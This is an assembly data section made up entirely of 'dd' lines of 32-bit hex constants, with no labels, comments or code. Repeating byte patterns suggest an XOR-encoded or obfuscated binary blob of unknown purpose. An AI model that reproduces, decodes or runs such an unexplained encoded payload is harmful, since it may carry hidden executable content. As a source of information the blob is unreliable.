dd 0A7636362h, 8D1D5C99h, 3D57E98Ch, 8C8D1EACh, 54892393h
dd 9D8C8D1Dh, 89201C5Eh, 63636264h, 17FCE8AEh, 8D1D4489h
dd 9123938Ch, 8C8D1C70h, 529D4A15h, 64A9201Ch, 0CE636362h
dd 201CD9E8h, 63626789h, 0A7E8D063h, 6499201Ch, 0D7636362h
dd 683DADE8h, 9F8C8D1Ch, 8D1D9099h, 99201C8Ch, 63636264h
dd 3D80E8AFh, 8C8D1D28h, 0FC892393h, 9D8C8D1Eh, 99201C4Ch
dd 63636268h, 0FE1993D9h, 3D9C9C9Eh, 8C8D1DB8h, 1E80999Fh
dd 741F8C8Dh, 64191595h, 75636362h, 9C9C9EA8h, 626C1917h
dd 46156363h, 15BCCC9Fh, 63614809h, 64191763h, 15636362h
dd 63614419h, 34911763h, 1F8C8D1Ch, 7D6B9875h, 614C1915h
dd 19176363h, 63636148h, 614C0917h, 4C9D6363h, 62681915h
dd 9C176363h, 1915449Dh, 63636140h, 7D1911CCh, 0CC636361h
dd 9CB0B774h, 1DB43D9Ch, 999F8C8Dh, 8C8D1E80h, 4699201Ch
dd 0DB636361h, 9D201993h, 0C43D9C9Ch, 9F8C8D1Dh, 8D1EF099h
dd 99201C8Ch, 63636147h, 3F1993CCh, 3D9C9C9Dh, 8C8D1DA0h
dd 1C892393h, 9D8C8D1Dh, 99201C4Ch, 6363617Ch, 1B1993EEh
dd 3D9C9C9Dh, 8C8D1D90h, 1D00999Fh, 201C8C8Dh, 63614F99h
dd 1993E863h, 9C9C9DF2h, 0B0992393h, 9F8C8D1Dh, 8D1C5899h
dd 99201C8Ch, 63636145h, 0CF1993FFh, 3D9C9C9Dh, 8C8D1C7Ch
dd 9F9A5C1Fh, 8D1C5499h, 99201C8Ch, 6363617Dh, 0AB1993DDh
dd 179C9C9Dh, 63626C19h, 0B8DC1763h, 1915449Dh, 636361ECh
dd 62641917h, 91176363h, 8C8D1D24h, 1D04919Fh, 751F8C8Dh
dd 157D6B94h, 6361F019h, 0EC191763h, 17636361h, 6361F009h
dd 154C9D63h, 63627019h
dd 9C2B9363h, 61501915h, 23936363h, 8D1D0891h, 9F751F8Ch
dd 19157D6Bh, 636361F4h, 5E9D4615h, 626C1917h, 0CC9F6363h
dd 68091580h, 15636362h, 9F46154Ch, 5409158Ch, 15636361h
dd 9DBD3089h, 3221118Ch, 11636361h, 8D18A8A9h, 9C91258Ch
dd 0FA6F9C9Ch, 0E0811539h, 118C8D1Eh, 63613D21h, 0D2A91163h
dd 258C8D18h, 9C9C9C91h, 2111386Fh, 63636110h, 18C7A911h
dd 89258C8Dh, 6F9C9C9Ch, 0EB211138h, 11636361h, 8D18ECA9h
dd 9C89258Ch, 386F9C9Ch, 61EB1911h, 63CC6363h, 8D1EE0A9h
dd 3089638Ch, 3F8C9DBDh, 8C8DC6C0h, 61101911h, 63CC6363h
dd 8D1EE0A9h, 3089638Ch, 3F8C9DBDh, 8C95D6DCh, 613D1911h
dd 63CC6363h, 8D1EE0A9h, 3089638Ch, 3F8C9DBDh, 8C8DECBCh
dd 61321911h, 63CC6363h, 8D1EE0A9h, 3089638Ch, 3F8C9DBDh
dd 8C9D9350h, 19638777h, 63636264h, 626C1917h, 0DC176363h
dd 6419A584h, 93636362h, 63612B1Eh, 0C7C2C363h, 0CACF5F55h
dd 90B8D017h, 1D00A917h, 0A99F8C8Dh, 8C8D1D48h, 70812393h
dd 1D8C8D1Ch, 5137155Fh, 2DC01573h, 0A9239358h, 8C8D1E90h
dd 1DF88117h, 0E8118C8Dh, 81179E82h, 8C8D1EB0h, 40615F1Dh
dd 80150426h, 0C4A9172Dh, 938C8D1Dh, 1C308123h, 89178C8Dh
dd 8C8D1D84h, 0FA8F0011h, 158CAEC8h, 17942DC0h, 8D1D88A9h
dd 4CA99F8Ch, 938C8D1Dh, 1E888123h, 5F1D8C8Dh, 0FBD9BE62h
dd 702DC015h, 0C95FC7C2h, 701D7915h, 9C9C9EACh, 17CBCACFh
dd 0C11794E9h, 0A1441590h, 9C9C9D9Ch, 10938AE8h, 9C9C9916h
dd 9C9D8DA1h, 118939Ch, 759C9C9Ch, 9C9C99E6h, 958CE11Fh
dd 99EC1993h, 183D9C9Ch, 158C8D1Dh, 0A19F5Bh, 1F8C8D1Ch
dd 0F7779373h, 9C9CAC24h, 157B6B9Ch, 63616419h, 99A8A763h
dd 8C95AAF8h, 0AC2483E9h, 6B9C9C9Ch, 6819157Bh, 63636361h
dd 0AAF499A8h, 89638C95h, 8C99B560h, 9C99B575h, 9CAC249Ch
dd 7B6B9C9Ch, 61681915h, 0A8A76363h, 95AAFC99h, 2483E98Ch
dd 9C9C9CACh, 19157B6Bh, 6363616Ch, 0F899A863h, 638C95AAh
dd 99B56089h, 9868758Ch, 3DDB9C9Ch, 8C8D1DE8h, 0A5FF5C1Fh
dd 7515EE5Bh, 9C9C987Eh, 1C68A117h, 731F8C8Dh, 2486779Eh
dd 9C9C9CACh, 19157B6Bh, 63636164h, 0F0999817h, 0A58C95AAh
dd 8AE888D9h, 1DE83DDBh, 5C1F8C8Dh, 892393FFh, 8C8D1E90h
dd 5BA54C9Dh, 0D83D4DEEh, 1F8C8D1Eh, 5BA5C15Ch, 98041893h
dd 23939C9Ch, 8D1DD899h, 6C999F8Ch, 5A8C8D1Dh, 616F9918h
dd 3DE06363h, 8C8D1C38h, 1EB0999Fh, 185A8C8Dh, 63616E99h
dd 983DD763h, 178C8D1Eh, 8D1D9489h, 9E761F8Ch, 67990814h
dd 0F4636361h, 9C9C9C63h, 62611911h, 24CC6363h, 9C9C9CACh
dd 19157B6Bh, 63636168h, 0C499A863h, 638C95AAh, 8DECA489h
dd 6119118Ch, 0CC636362h, 61601911h, 63CC6363h, 9C6CB089h
dd 94581F8Ch, 9C9C63F4h, 6119119Ch, 0CC636362h, 9C9CAC24h
dd 157B6B9Ch, 63616C19h, 99A86363h, 8C95AAFCh, 0ECA48963h
dd 543D8C8Dh, 938C8D1Ch, 1D148923h, 4C9D8C8Dh, 9399741Fh
dd 62610922h, 4CA56363h, 92F4C9E9h, 748C8D17h, 6363C648h
dd 8917C5h, 9F8C8D1Ch, 8D1D6889h, 90761F8Ch, 0CC8917CEh
dd 1F8C8D1Eh, 0CCCE9E76h, 1DD08917h, 761F8C8Dh, 8963CE9Ah
dd 8C91C6A4h, 9C9CAC24h, 157B6B9Ch, 63617019h, 99A86363h
dd 8C95AAFCh, 0B5608963h, 1B758C99h, 0F49C9C9Fh, 8C8D1795h
dd 63C6E374h, 911CC63h, 63636160h, 0B08963CEh, 118C9C6Ch
dd 63626119h, 1911CC63h, 63636160h, 0B08963CCh, 1F8C9C6Ch
dd 63F48858h, 119C9C9Ch, 63626119h, 0AC24CC63h, 6B9C9C9Ch
dd 7019157Bh, 63636361h, 0AAF899A8h, 89638C95h, 8C8DECA4h
dd 8D1E9C3Dh, 9F741F8Ch, 61092293h, 0A5636362h, 0F4D3E94Ch
dd 8C8D167Bh, 63C68B74h, 8917C563h, 8C8D1D64h, 0CE9B761Fh
dd 1EC08917h, 761F8C8Dh, 17CCCE99h, 8D1DC889h, 9B761F8Ch
dd 0A48963CEh, 248C91C6h, 9C9C9CACh, 19157B6Bh, 63636174h
dd 0F899A863h, 638C95AAh, 99B56089h, 9E4C758Ch, 7EF49C9Ch
dd 748C8D16h, 6363C554h, 600911CCh, 0CE636361h, 6CB08963h
dd 19118C9Ch, 63636261h, 601911CCh, 0CC636361h, 6CB08963h
dd 581F8C9Ch, 9C63F488h, 19119C9Ch, 63636261h, 9CAC24CCh
dd 7B6B9C9Ch, 61741915h, 0A8636363h, 95AAF499h, 0A489638Ch
dd 938C8DECh, 1DC09923h, 999F8C8Dh, 8C8D1D5Ch, 939F741Fh
dd 62610922h, 4CA56363h, 9DB51893h, 11119C9Ch, 63636261h
dd 0DC63541Fh, 9C9DA01Ch, 239365E9h, 8D1EE891h, 0C0919F8Ch
dd 1F8C8D1Eh, 54A59E75h, 9D9D1E93h, 23939C9Ch, 8D1E8899h
dd 9F741F8Ch, 62671914h, 0BE776363h, 67192A93h, 16636362h
dd 62619918h, 0A5A06363h, 0ACA098E3h, 487599E1h, 1C9C9C9Ch
dd 63626719h, 11119D63h, 63636261h, 0DC63541Fh, 9C9DA01Ch
dd 2A9365E9h, 63626711h, 0EE5DA563h, 9923935Fh, 8C8D1D50h
dd 1D44999Fh, 741F8C8Dh, 60191491h, 77636362h, 601916EAh
dd 14636362h, 63617B19h, 93B57763h, 617B192Ah, 22936363h
dd 62619918h, 2A936363h, 63626009h, 8229363h, 63626189h
dd 0E94CA563h, 7B191CBEh, 9D636361h, 62611111h, 541F6363h
dd 0A01CDC63h, 65E99C9Dh, 7B112A93h, 0A5636361h, 9320EE5Dh
dd 617B192Ah, 2A936363h, 63626009h, 174CB563h, 8D1DFC89h
dd 9E761F8Ch, 0B7E34CA5h, 6260191Ch, 119D6363h, 63626111h
dd 63541F63h, 9DA01CDCh, 9365E99Ch, 6260112Ah, 5DA56363h
dd 63F71E93h, 5756363h, 3D9C9C9Ch, 8C8D1DACh, 9C9B5099h
dd 8923939Ch, 8C8D1EE8h, 63CC4C9Dh, 91C6B889h, 1635F48Ch
dd 8D748C8Dh, 156363C4h, 63617819h, 160EF463h, 9D748C8Dh
dd 936363C4h, 1C788923h, 0CCCE8C8Dh, 61780917h, 63CE6363h
dd 8D1D9CA9h, 0A489638Ch, 0F48C91C6h, 8C8D1612h, 63CB4774h
dd 8C581F63h, 9CAC24CCh, 7B6B9C9Ch, 617C1915h, 5E156363h
dd 0F489A863h, 638C95AAh, 8DC6C889h, 9CAC248Ch, 7B6B9C9Ch
dd 61401915h, 0A8636363h, 95AAF499h, 6089638Ch, 758C99B5h
dd 9C9C9C06h, 8D1615F4h, 0CB0E748Ch, 11CC6363h, 63616009h
dd 8963CE63h, 8C9C6CB0h, 62611911h, 11CC6363h, 63616019h
dd 8963CC63h, 8C9C6CB0h, 9C9CAC24h, 157B6B9Ch, 63614419h
dd 99A86363h, 8C95AAC4h, 0AD748963h, 19118C99h, 63636160h
dd 888963CCh, 1F8C9D9Ch, 99F68458h, 9C9CAC24h, 157B6B9Ch
dd 63614819h, 99A86363h, 8C95AAC8h, 0C6C48963h, 0AC248C8Dh
dd 6B9C9C9Ch, 4C19157Bh, 3D636361h, 8C8D1D7Ch, 1E98999Fh
dd 741F8C8Dh, 4C091790h, 15636361h, 0AACC8998h, 443D8C95h
dd 158C8D1Dh, 0F8A19F5Bh, 1F8C8D1Eh, 48759673h, 249C9C9Ch
dd 9C9C9CACh, 0D9157B6Bh, 99A8A764h, 8C95AAFCh, 0E963B8E9h
dd 8CE96388h, 0AC24CACFh, 6B9C9C9Ch, 68D9157Bh, 0EC99A863h
dd 638C95AAh, 95C56089h, 9C31758Ch, 0AC249C9Ch, 6B9C9C9Ch
dd 6CD9157Bh, 0F899A8A7h, 0E98C95AAh, 88E963BDh, 0CF8CE963h
dd 9CAC24CAh, 7B6B9C9Ch, 6370D915h, 0AAE899A8h, 89638C95h
dd 8C95C560h, 0AC24E577h, 6B9C9C9Ch, 74D9157Bh, 0C099A8A5h
dd 0E98C95AAh, 88E963BDh, 0CF8CE963h, 9CAC24CAh, 7B6B9C9Ch
dd 6378D915h, 0AAE099A8h, 89638C95h, 8C95C560h, 0AC24D977h
dd 6B9C9C9Ch, 7CD9157Bh
dd 0F499A8A5h, 0E98C95AAh, 88E963BDh, 0CF8CE963h, 9CAC24CAh
dd 7B6B9C9Ch, 6340D915h, 0AAE499A8h, 89638C95h, 8C95C560h
dd 3DDB8D77h, 8C8D1D04h, 0A5FD5C1Fh, 801E935Bh, 0C3636363h
dd 5E55C7C2h, 9D249C8Ch, 5E1C9CDCh, 15C99C8Ch, 9C982479h
dd 49749C9Dh, 0CF9C9CBEh, 0E917CBCAh, 0DCA11194h, 1C8C95A9h
dd 0E9DF90E1h, 3CA1119Ah, 1C8C9DBCh, 0E9CC90E1h, 0ACA1119Ah
dd 3D8C95D5h, 8C8D1D60h, 1D48999Fh, 741F8C8Dh, 1CF4CC95h
dd 0F69C9C9Ch, 1DB83D9Fh, 741F8C8Dh, 9FF6CC95h, 9C9C9CF4h
dd 8963CB5Ch, 8C8DF084h, 23935B15h, 8D1C2C99h, 625C1F8Ch
dd 189364A5h, 9C9C9C20h, 0E83D9CF6h, 938C8D1Dh, 1D308923h
dd 4C9D8C8Dh, 0CC9B741Fh, 8963CBCAh, 8C8DECACh, 6C992393h
dd 9F8C8D1Ch, 8D1ECC99h, 99741F8Ch, 60D911CCh, 6363F4CCh
dd 19119C9Ch, 63626361h, 8963CBCCh, 8C9C6CA8h, 9C9D1111h
dd 541F6363h, 0A01CDC63h, 65E99C9Dh, 0B8892393h, 1F8C8D1Eh
dd 5F159F5Eh, 0C1154F9Dh, 939CF660h, 1D089923h, 741F8C8Dh
dd 0CBCACC9Bh, 0ECAC8963h, 0A9178C8Dh, 8C8D1D38h, 1560C117h
dd 63792900h, 23936362h, 8D1E9099h, 0D911CC8Ch, 2393CC60h
dd 8D1DD899h, 34999F8Ch, 1F8C8D1Ch, 11CC9974h, 62636119h
dd 63CBCC63h, 8DEC8089h, 8963CB8Ch, 8C95D6D4h, 55C7C2C3h
dd 7915C95Fh, 90E117CBh, 0FA84D917h, 9384D915h, 1D209923h
dd 89178C8Dh, 8C8D1C0Ch, 688C1811h, 0A59C9C9Ch, 6391E964h
dd 887480E9h, 0C5636344h, 0BA775CADh, 8D1D783Dh, 9C61998Ch
dd 999F9C9Ch, 8C8D1DE8h, 91E95BA5h, 7480E963h, 636308E4h
dd 775CADC5h, 9C9F2499h, 0C1C31C9Eh, 0C99CB85Eh, 0CACF7915h
dd 94C117CBh, 0CF90E917h, 6C9C8963h, 5B158C9Ch, 8D1C243Dh
dd 94741F8Ch, 1C583DCCh, 741F8C8Dh, 0D43DCC95h, 998C8D1Eh
dd 9C9C8367h, 0CFCBCACCh, 8D1DE83Dh, 8923938Ch, 8C8D1C3Ch
dd 741F4C9Dh, 9CF6CC94h, 6C8C8963h, 0F83D8C9Ch, 938C8D1Eh
dd 1DBC8923h, 4C9D8C8Dh, 149A741Fh, 6415A298h, 0C1C7C2C3h
dd 7915C95Fh, 0CFCC701Fh, 0C117CBCAh, 0EC896394h, 158C8DC7h
dd 0A91760D9h, 8C8D1D5Ch, 8917F477h, 8C8D1C48h, 1EEC899Fh
dd 761F8C8Dh, 2988A590h, 8C9D8C7Ch, 8817D3E8h, 95D6CC29h
dd 70C9158Ch, 1D7C9117h, 5D1D8C8Dh, 9C9C76CBh, 8D1D903Dh
dd 8923938Ch, 8C8D1C44h, 5E154C9Dh, 9391761Fh, 0C9175633h
dd 0A7569D70h, 85EF60C9h, 1DA88917h, 23938C8Dh, 8D1DB091h
dd 1F569D8Ch, 88159176h, 9D8C7C29h, 2393DA8Ch, 8D1EE899h
dd 9F7B998Ch, 5AA59C9Ch, 9F1714EEh, 116CD915h, 44159F80h
dd 0A794D9B7h, 1F9390D9h, 9C9C9D44h, 8D1C243Dh, 98999F8Ch
dd 1F8C8D1Eh, 0D9A59B74h, 154BEB6Ch, 63541F45h, 9DA01CDCh
dd 1565E99Ch, 441568D9h, 9394D9B7h, 1C2C8923h, 5E1F8C8Dh
dd 154CB59Fh, 0A11764D9h, 8C8D1DB8h, 7795731Fh, 0A19816B3h
dd 8C9DBD2Ch, 0E984D9A6h, 64C917BEh, 0BC2188A5h, 0E98C9D9Ch
dd 5889178Ah, 1F8C8D1Ch, 88A59576h, 9D8C7C21h, 0D119938Ch
dd 0DB9C9C9Dh, 8D1C483Dh, 9F7D998Ch, 5BA59C9Ch, 23935FEEh
dd 8D1EDC99h, 9F23998Ch, 0D9A59C9Ch, 4A1A9368h, 3D9C9C9Ch
dd 8C8D1EA4h, 9F985C1Fh, 8D1D8899h, 0D911CC8Ch, 0EE74CC2Dh
dd 1F9C9C91h, 23939458h, 8D1C7099h, 8923938Ch, 8C8D1DF4h
dd 741F4C9Dh, 78D91598h, 8D1EA43Dh, 9F2B998Ch, 999F9C9Ch
dd 8C8D1D10h, 1774D915h, 981674D9h, 7FD9149Fh, 1774D917h
dd 8D1D6C89h, 9C899F8Ch, 1F8C8D1Eh, 88149076h, 937CF49Fh
dd 0E9638C9Dh, 78E96368h, 0CC2DD911h, 6388D917h, 94E963ACh
dd 8CE963CFh, 8D1ED43Dh, 8923938Ch, 8C8D1C70h, 741F4C9Dh
dd 9C63B998h, 74CC9C9Ch, 636355A6h, 17B8581Fh, 0D91574D9h
dd 7FC91678h, 3D9F8814h, 8C8D1C24h, 9C9F2A99h, 8923939Ch
dd 8C8D1D1Ch, 0D99D4C9Dh, 68D91774h, 0EA74D9A5h, 74D9159Fh
dd 0A568D917h, 0CFEF78D9h, 6363F275h, 1618F463h, 7D748C8Dh
dd 0F46363CDh, 8C9D937Ch, 1768E963h, 8D1D5C89h, 38899F8Ch
dd 1F8C8D1Dh, 0CCCE9A76h, 6388C917h, 94E963AEh, 8CE963CFh
dd 30892393h, 9F8C8D1Ch, 8D1ECC89h, 95761F8Ch, 9C637E1Dh
dd 74CE9C9Ch, 6363542Eh, 17B4581Fh, 9C6388D9h, 68D917DFh
dd 179F8011h, 239388D9h, 8D1D8C89h, 8F5E1F8Ch, 1A938CA5h
dd 6363628Eh, 8D161CF4h, 0CDEE748Ch, 7CF46363h, 938C9D93h
dd 1D548923h, 4D158C8Dh, 0CD9B751Fh, 1C049117h, 751F8C8Dh
dd 17CCCD9Eh, 8D1C6891h, 9E751F8Ch, 0F09117CDh, 938C8D1Dh
dd 1E8C9923h, 5D9D8C8Dh, 0CD90751Fh, 30912393h, 938C8D1Dh
dd 1EC89923h, 5D9D8C8Dh, 0CD92751Fh, 938CE963h, 1E889123h
dd 4D9D8C8Dh, 761F5615h, 637E1D95h, 0CE9C9C9Ch, 63548574h
dd 0B4581F63h, 55C7C2C3h, 7915C95Fh, 94E963CBh, 1E3CA963h
dd 89638C8Dh, 8C9DBD30h, 0C1C35B15h, 0ECF4CB5Fh, 748C8D16h
dd 6363CC40h, 8963CCC5h, 8C9DB904h, 8D1E3C3Fh, 1DF83D8Ch
dd 999F8C8Dh, 8C8D1C00h, 0A59B741Fh, 8D1E3C99h, 0F48BE98Ch
dd 8C8D16FCh, 63CC3374h, 63CCC563h, 99AF8489h, 1E3C3F8Ch
dd 0DEF48C8Dh, 748C8D16h, 6363CC04h, 630F74CCh, 743F6363h
dd 0F48C99B5h, 8C8D16B7h, 63CC1F74h, 0E274CC63h, 3F636363h
dd 8C95C68Ch, 8D168CF4h, 0CCF2748Ch, 74CC6363h, 636363F5h
dd 9C6CCC3Fh, 156FF48Ch, 0C5748C8Dh, 0CC6363CCh, 6363C874h
dd 0BD343F63h, 43F48C9Dh, 748C8D15h, 6363CCD8h, 63A374CCh
dd 0F43F6363h, 0F48C8DC6h, 8C8D1557h, 63CCB374h, 0B674CC63h
dd 3F636363h, 8C9DBC1Ch, 8D1537F4h, 0CC86748Ch, 74CC6363h
dd 63636389h, 9D9C943Fh, 1512F48Ch, 99748C8Dh, 0CC6363CCh
dd 63639C74h, 0AD783F63h, 0E6F48C99h, 748C8D15h, 6363D36Ch
dd 627774CCh, 0D03F6363h, 0F48C9C6Ch, 8C8D15FDh, 63D34774h
dd 4A74CC63h, 3F636362h, 8C9C6CBCh, 8D15CEF4h, 0D35A748Ch
dd 74CC6363h, 6363625Dh, 95C6943Fh, 15DDF48Ch, 2D748C8Dh
dd 0CC6363D3h, 63623074h, 0B9003F63h, 0B7F48C9Dh, 748C8D15h
dd 6363D300h, 620B74CCh, 403F6363h, 0F48C99B5h, 8C8D158Eh
dd 63D31B74h, 1E74CC63h, 3F636362h, 8C95D580h, 8D159EF4h
dd 0D3EE748Ch, 74CC6363h, 636362F1h, 3FE4581Fh, 8C9DB93Ch
dd 15C95FC3h, 0E917FC79h, 842C248Ch, 1A158C9Ch, 9C9C9C24h
dd 1590D917h, 9C9C581Ah, 7015FD9Ch, 5F5CADC1h, 7915C95Fh
dd 93CBCFCDh, 2594D92Ah, 9C9C9CB7h, 3C221F26h, 5D7E6BB3h
dd 0C9159F76h, 154B1560h, 94C11467h, 94D92A93h, 8C892393h
dd 1F8C8D1Dh, 4CA59F5Eh, 0F3249BE9h, 779C9C9Ch, 1DCC3DE3h
dd 741F8C8Dh, 0C92A9398h, 0E94CA594h, 9CF9249Bh, 0F4779C9Ch
dd 94D92A93h, 1C208917h, 23938C8Dh, 8D1C5091h, 1F569D8Ch
dd 4CA59E76h, 0F5249BE9h, 779C9C9Ch, 0D92A93DBh, 84891794h
dd 1F8C8D1Dh, 4CA59476h, 0E5249BE9h, 779C9C9Ch, 0D92A93B3h
dd 7C891794h, 1F8C8D1Dh, 4CA59B76h, 0E9249BE9h, 779C9C9Ch
dd 0D92A938Bh, 89239394h, 8C8D1E88h, 0A59E5E1Fh, 2499E94Ch
dd 9C9C9CFDh, 5F55C7C3h, 8D1474F4h, 0D2EA748Ch, 74CC6363h
dd 6363078Ah, 95C6803Fh, 144FF48Ch, 0FD748C8Dh, 0CC6363D2h
dd 63079D74h, 0BC143F63h, 5FF48C9Dh, 748C8D14h, 6363D2D0h
dd 67074CCh, 5C3F6363h
dd 0F48C9D93h, 8C8D142Ah, 63D2AB74h, 4B74CC63h, 3F636306h
dd 8C8DEC80h, 8D143BF4h, 0D2BE748Ch, 74CC6363h, 6363065Eh
dd 95D58C3Fh, 140EF48Ch, 91748C8Dh, 0CC6363D2h, 63063174h
dd 0C6D03F63h, 0EBF48C8Dh, 748C8D14h, 6363D164h, 60474CCh
dd 0D83F6363h, 0F48C95D6h, 8C8D14F5h, 63D17F74h, 1F74CC63h
dd 3F636306h, 8C8DC6FCh, 8D14C1F4h, 0D152748Ch, 74CC6363h
dd 636306F2h, 9C6CA83Fh, 14DBF48Ch, 25748C8Dh, 0CC6363D1h
dd 6306C574h, 0D5843F63h, 0ACF48C95h, 748C8D14h, 6363D138h
dd 6D874CCh, 683F6363h, 0F48C99B5h, 8C8D1482h, 63D11374h
dd 0B374CC63h, 3F636306h, 8C9DB934h, 8D149BF4h, 0D1E6748Ch
dd 74CC6363h, 63630686h, 91C6BC3Fh, 1B68F48Ch, 0F9748C8Dh
dd 0CC6363D1h, 63069974h, 0F08C3F63h, 40F48C8Dh, 748C8D1Bh
dd 6363D1CCh, 56C74CCh, 643F6363h, 0F48C99B5h, 8C8D1B57h
dd 63D1A774h, 4774CC63h, 3F636305h, 8C9D9354h, 8D1B27F4h
dd 0D1BA748Ch, 74CC6363h, 6363055Ah, 8DC7EC3Fh, 1B37F48Ch
dd 8D748C8Dh, 0CC6363D1h, 63052D74h, 0AF803F63h, 0F48C99h
dd 748C8D1Bh, 6363D060h, 50074CCh, 883F6363h, 0F48C95C6h
dd 8C8D1B11h, 63D07B74h, 1B74CC63h, 3F636305h, 8C8DF080h
dd 8D1BE3F4h, 0D04E748Ch, 74CC6363h, 636305EEh, 99B5703Fh
dd 1BEFF48Ch, 21748C8Dh, 0CC6363D0h, 6305C174h, 6C9C3F63h
dd 0F8F48C9Ch, 748C8D1Bh, 6363D034h, 5D474CCh, 903F6363h
dd 0F48C9C6Ch, 8C8D1BCBh, 63D00F74h, 0AF74CC63h, 3F636305h
dd 8C9DB950h, 8D1BA3F4h, 0D0E2748Ch, 74CC6363h, 63630582h
dd 9C6C883Fh, 1BB4F48Ch, 0F5748C8Dh, 0CC6363D0h, 63059574h
dd 0C6A83F63h, 8CF48C91h, 748C8D1Bh, 6363D0C8h, 46874CCh
dd 0E43F6363h, 0F48C8DC7h, 8C8D1A6Bh, 63D0A374h, 4374CC63h
dd 3F636304h, 8C95C698h, 8D1A7AF4h, 0D0B6748Ch, 74CC6363h
dd 63630456h, 95A9AC3Fh, 1A4AF48Ch, 89748C8Dh, 0CC6363D0h
dd 63042974h, 6CD83F63h, 59F48C9Ch, 748C8D1Ah, 6363D09Ch
dd 43C74CCh, 0F83F6363h, 0F48C8DC6h, 8C8D1A32h, 63D77774h
dd 1774CC63h, 3F636304h, 8C9DB92Ch, 8D1A00F4h, 0D74A748Ch
dd 74CC6363h, 636304EAh, 8DECAC3Fh, 1A14F48Ch, 5D748C8Dh
dd 0CC6363D7h, 6304FD74h, 6CDC3F63h, 0E4F48C9Ch, 748C8D1Ah
dd 6363D730h, 4D074CCh, 903F6363h, 0F48C95C6h, 8C8D1AF7h
dd 63D70B74h, 0AB74CC63h, 3F636304h, 8C95AAD8h, 8D1AC9F4h
dd 0D71E748Ch, 74CC6363h, 636304BEh, 99AF883Fh, 1AD6F48Ch
dd 0F1748C8Dh, 0CC6363D7h, 63049174h, 0BC083F63h, 0A5F48C9Dh
dd 748C8D1Ah, 6363D7C4h, 0B6474CCh, 0A43F6363h, 0F48C9C6Ch
dd 8C8D1AB6h, 63D7DF74h, 7F74CC63h, 3F63630Bh, 8C8DECB0h
dd 8D1A87F4h, 0D7B2748Ch, 74CC6363h, 63630B52h, 8DF0843Fh
dd 1A98F48Ch, 85748C8Dh, 0CC6363D7h, 630B2574h, 6C8C3F63h
dd 6FF48C9Ch, 748C8D19h, 6363D798h, 0B3874CCh, 0B43F6363h
dd 0F48C8DECh, 8C8D197Ah, 63D67374h, 1374CC63h, 3F63630Bh
dd 8C9DB920h, 8D1948F4h, 0D646748Ch, 74CC6363h, 63630BE6h
dd 9DF4581Dh, 0B43F9C9Ch, 5F8C95AFh, 247915C9h, 9C9D9CACh
dd 9C8B3F74h, 0CBCACF9Ch, 8D1D783Dh, 99741F8Ch, 935899A7h
dd 18938C9Dh, 9C9C9EA8h, 8992393h, 1F8C8D1Dh, 3DCC9B74h
dd 8C8D1E98h, 1C4C999Fh, 741F8C8Dh, 0C43DCC9Bh, 0D48C8D1Dh
dd 60D911CCh, 588963CCh, 158C9D93h, 1D483D5Fh, 23938C8Dh
dd 8D1DBC89h, 1F4C9D8Ch, 5FA59074h, 9D721993h, 0D9119C9Ch
dd 0FC3DCC74h, 1F8C8D1Dh, 3DCC9974h, 8C8D1D38h, 3C892393h
dd 9D8C8D1Ch, 91741F4Ch, 60D917CCh, 63A417CCh, 5F15A4CBh
dd 8D1C583Dh, 8923938Ch, 8C8D1DDCh, 741F4C9Dh, 9344A592h
dd 9C9D1319h, 1EEC3D9Ch, 23938C8Dh, 8D1C7089h, 1F4C9D8Ch
dd 11CC9974h, 93CC70D9h, 1D349923h, 23938C8Dh, 8D1EFC89h
dd 1F4C9D8Ch, 17CC9474h, 17CC74D9h, 90CB63A4h, 23935F15h
dd 8D1DBC99h, 9F741F8Ch, 19935FA5h, 9C9C9DBAh, 0CC78D911h
dd 8D1C5C3Dh, 0AC999F8Ch, 1F8C8D1Eh, 11CC9A74h, 93CC70D9h
dd 1DEC9923h, 999F8C8Dh, 8C8D1E94h, 0CC9F741Fh, 0CC60D917h
dd 0CB63A417h, 935F15A0h, 1E889923h, 741F8C8Dh, 935FA59Fh
dd 6363E819h, 1C403D63h, 741F8C8Dh, 0D911CC9Bh, 0CC3DCC48h
dd 0D48C8D1Eh, 78D917CCh, 63A417CCh, 5F1590CBh, 8D1D003Dh
dd 0C999F8Ch, 1F8C8D1Ch, 44A59474h, 63A31993h, 0A43D6363h
dd 1F8C8D1Dh, 11CC9F74h, 62634C19h, 0D911CC63h, 0D911CC48h
dd 9C3DCC70h, 9F8C8D1Eh, 8D1DF099h, 90741F8Ch, 60D917CCh
dd 63A417CCh, 5F15B4CBh, 78992393h, 938C8D1Ch, 1DBC8923h
dd 4C9D8C8Dh, 0B0892393h, 1F8C8D1Dh, 8149976h, 62634E99h
dd 1EF03D63h, 741F8C8Dh, 0E95FA594h, 49191184h, 0CC636263h
dd 634C1917h, 0EC636362h, 68E17498h, 581F6363h, 49191194h
dd 0CC636263h, 1F48E911h, 7B158C70h, 9C9C9825h, 11396F9Ch
dd 701F70E9h, 257B158Ch, 9C9C9C98h, 0E963396Fh, 0FFE87460h
dd 581F6363h, 638375B4h, 603D6363h, 0A58C8D1Dh, 95E878D9h
dd 0CC78D917h, 0CA63AC17h, 74E11F94h, 1795E89Ch, 17CC74D9h
dd 94CA63ACh, 8D1D7C3Dh, 0A8999F8Ch, 1F8C8D1Dh, 0D9A58D74h
dd 1795E860h, 17CC60D9h, 94CA63ACh, 55C7C2C3h, 7915C95Fh
dd 0CBCACFCDh, 9394D917h, 3D842Ah, 998C8D1Dh, 9C9C9C64h
dd 1E84999Fh, 33938C8Dh, 94D91744h, 9DDC2A93h, 23935F9Dh
dd 8D1EA099h, 9C61998Ch, 33939C9Ch, 94D91744h, 9EDC2A93h
dd 0A9175F9Dh, 8C8D1D2Ch, 779B721Fh, 0ACA117DCh, 1F8C8D1Eh
dd 6BB59E73h, 1590C917h, 461560C9h, 9CA37E1Dh, 99E11C9Ch
dd 5C561FD6h, 898816DEh, 8C8DECDCh, 1460D117h, 4415A588h
dd 1EA49117h, 5D1F8C8Dh, 656B05ABh, 5A1F5F15h, 9923939Dh
dd 8C8D1D98h, 1E98999Fh, 741F8C8Dh, 0E05AA598h, 0C7C2C330h
dd 15C95F55h, 0ECA0F479h, 89638C8Dh, 8C99B564h, 8DECA03Dh
dd 985EC18Ch, 7915C99Ch, 0CBCACFCDh, 1794D917h, 6B15A0ECh
dd 0DB175B9Dh, 6C8917B4h, 9F8C95C5h, 5A1594C9h, 2A934A9Dh
dd 0D16C1F9Ah, 9363D914h, 939DDA2Ah, 1EE88923h, 91178C8Dh
dd 8C8D1DA8h, 6B960811h, 159C9C9Dh, 4633935Fh, 1590D917h
dd 34A11784h, 1F8C8D1Ch, 92779A73h, 0A2982A93h, 63C92A93h
